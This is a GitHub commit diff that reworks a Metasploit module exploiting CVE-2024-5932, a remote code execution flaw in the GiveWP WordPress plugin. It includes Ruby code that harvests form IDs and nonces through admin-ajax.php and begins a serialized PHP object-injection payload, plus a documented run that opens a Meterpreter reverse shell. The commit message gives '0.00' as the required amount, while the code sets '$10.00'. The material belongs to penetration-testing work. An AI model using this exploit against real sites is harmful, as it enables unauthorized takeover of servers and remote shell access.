Skip to content

Commit 1d7cffb

Browse files
committed
Refactored exploit module based on RCESecurity's analysis of CVE-2024-5932
- Completely overhauled the method for exploiting the GiveWP plugin by removing dependency on the REST API, which may require authentication. - Instead, we now use the admin-ajax.php endpoint for retrieving form lists and nonce values, ensuring compatibility even when REST API authentication is required. - The exploit now works with all form types; however, the give_price_id and give_amount must be set to '0' and '0.00', respectively, as attempts to randomize these values caused the exploit to fail.
1 parent 7f37731 commit 1d7cffb

File tree

2 files changed

+42
-72
lines changed

2 files changed

+42
-72
lines changed

documentation/modules/exploit/multi/http/wp_givewp_rce.md

Lines changed: 6 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
4848

4949
3. **Create a Donation Form**:
5050
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
51-
- Select the Legacy Form option, as this is the one confirmed to work with the exploit.
51+
- Select the any form.
5252
- Configure the form as needed, publish it.
5353

5454
## Options
@@ -70,23 +70,19 @@ No specific options need to be configured.
7070
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:
7171

7272
```bash
73+
msf6 > use exploit/multi/http/wp_givewp_rce
74+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
7375
msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888
7476

7577
[*] Started reverse TCP handler on 192.168.1.36:4444
7678
[*] Running automatic check ("set AutoCheck false" to disable)
7779
[*] WordPress Version: 6.3.2
7880
[+] Detected GiveWP Plugin version: 3.14.1
7981
[+] The target appears to be vulnerable.
80-
[+] Successfully connected to the GiveWP API.
81-
[*] Analyzing Form ID: 13
82-
[+] Form ID: 13 has required fields.
83-
[*] Analyzing Form ID: 10
84-
[-] Form ID: 10 does not contain all required fields.
85-
[*] Analyzing Form ID: 8
86-
[-] Form ID: 8 does not contain all required fields.
87-
[*] Sending exploit payload...
82+
[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13
83+
[*] Using Form ID: 13 for exploitation.
8884
[*] Sending stage (3045380 bytes) to 172.24.0.3
89-
[*] Meterpreter session 60 opened (192.168.1.36:4444 -> 172.24.0.3:59102) at 2024-08-27 19:24:44 +0200
85+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200
9086

9187
meterpreter > sysinfo
9288
Computer : 172.24.0.3
@@ -95,7 +91,3 @@ Architecture : x64
9591
BuildTuple : x86_64-linux-musl
9692
Meterpreter : x64/linux
9793
```
98-
99-
### Notes:
100-
- The exploitation is successful only against legacy donation forms within GiveWP.
101-
Be sure to configure and test legacy forms to verify the vulnerability effectively.

modules/exploits/multi/http/wp_givewp_rce.rb

Lines changed: 36 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -71,75 +71,65 @@ def initialize(info = {})
7171
def check
7272
return CheckCode::Unknown unless wordpress_and_online?
7373

74-
wp_version = wordpress_version
75-
print_status("WordPress Version: #{wp_version}") if wp_version
76-
74+
print_status("WordPress Version: #{wordpress_version}") if wordpress_version
7775
check_code = check_plugin_version_from_readme('give', '3.14.2')
76+
return CheckCode::Safe unless check_code.code == 'appears'
7877

79-
if check_code.code != 'appears'
80-
return CheckCode::Safe
81-
end
82-
83-
plugin_version = check_code.details[:version]
84-
print_good("Detected GiveWP Plugin version: #{plugin_version}")
78+
print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}")
8579
CheckCode::Appears
8680
end
8781

8882
def exploit
89-
forms = connect_to_api
83+
forms = fetch_form_list
84+
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?
9085

91-
if forms
92-
valid_forms = parse_forms(forms)
86+
selected_form = forms.sample
87+
valid_form = retrieve_and_analyze_form(selected_form['id'])
9388

94-
send_exploit_requests(valid_forms)
95-
else
96-
fail_with(Failure::UnexpectedReply, 'Failed to connect to the GiveWP API.')
97-
end
98-
end
89+
return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form
9990

100-
def connect_to_api
101-
res = send_request_cgi(
102-
'method' => 'GET',
103-
'uri' => normalize_uri(target_uri.path, '?give-api=v1/forms')
91+
print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
92+
send_exploit_request(
93+
valid_form['give_form_id'],
94+
valid_form['give_form_hash'],
95+
valid_form['give_price_id'],
96+
valid_form['give_amount']
10497
)
105-
106-
print_good('Successfully connected to the GiveWP API.') if res&.code == 200
107-
print_error('Failed to connect to the GiveWP API.') unless res&.code == 200
108-
109-
JSON.parse(res.body)['forms'] if res&.code == 200
11098
end
11199

112-
def parse_forms(forms)
113-
forms.each_with_object([]) do |form, valid_forms|
114-
form_id = form.dig('info', 'id')
115-
print_status("Analyzing Form ID: #{form_id}")
100+
def fetch_form_list
101+
res = send_request_cgi(
102+
'method' => 'POST',
103+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
104+
'data' => 'action=give_form_search'
105+
)
116106

117-
form_data = retrieve_and_analyze_form(form_id)
107+
return print_error('Failed to retrieve form list.') unless res&.code == 200
118108

119-
print_good("Form ID: #{form_id} has required fields.") if form_data
120-
print_error("Form ID: #{form_id} does not contain all required fields.") unless form_data
109+
forms = JSON.parse(res.body)
110+
form_ids = forms.map { |form| form['id'] }.sort
121111

122-
valid_forms << form_data if form_data
123-
end
112+
print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
113+
forms
124114
end
125115

126116
def retrieve_and_analyze_form(form_id)
127117
form_res = send_request_cgi(
128-
'method' => 'GET',
129-
'uri' => normalize_uri(target_uri.path, "?post_type=give_forms&p=#{form_id}")
118+
'method' => 'POST',
119+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
120+
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
130121
)
131122

132-
return nil unless form_res&.code == 200
123+
return unless form_res&.code == 200
133124

134-
doc = Nokogiri::HTML(form_res.body)
135-
give_form_id = doc.at_xpath('//input[@name="give-form-id"]/@value')&.text
136-
give_form_hash = doc.at_xpath('//input[@name="give-form-hash"]/@value')&.text
137-
button_tag = doc.at_xpath('//button[@data-price-id]')
125+
form_data = JSON.parse(form_res.body)
126+
give_form_id = form_id
127+
give_form_hash = form_data['data']
128+
give_price_id = '0'
129+
give_amount = '$10.00'
130+
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.
138131

139-
return nil unless give_form_id && give_form_hash && button_tag
140-
141-
give_price_id = button_tag['data-price-id']
142-
give_amount = button_tag.text.strip
132+
return unless give_form_hash
143133

144134
{
145135
'give_form_id' => give_form_id,
@@ -149,18 +139,6 @@ def retrieve_and_analyze_form(form_id)
149139
}
150140
end
151141

152-
def send_exploit_requests(valid_forms)
153-
print_status('Sending exploit payload...')
154-
valid_forms.each do |form_data|
155-
send_exploit_request(
156-
form_data['give_form_id'],
157-
form_data['give_form_hash'],
158-
form_data['give_price_id'],
159-
form_data['give_amount']
160-
)
161-
end
162-
end
163-
164142
def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
165143
final_payload = format(
166144
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \

0 commit comments

Comments
 (0)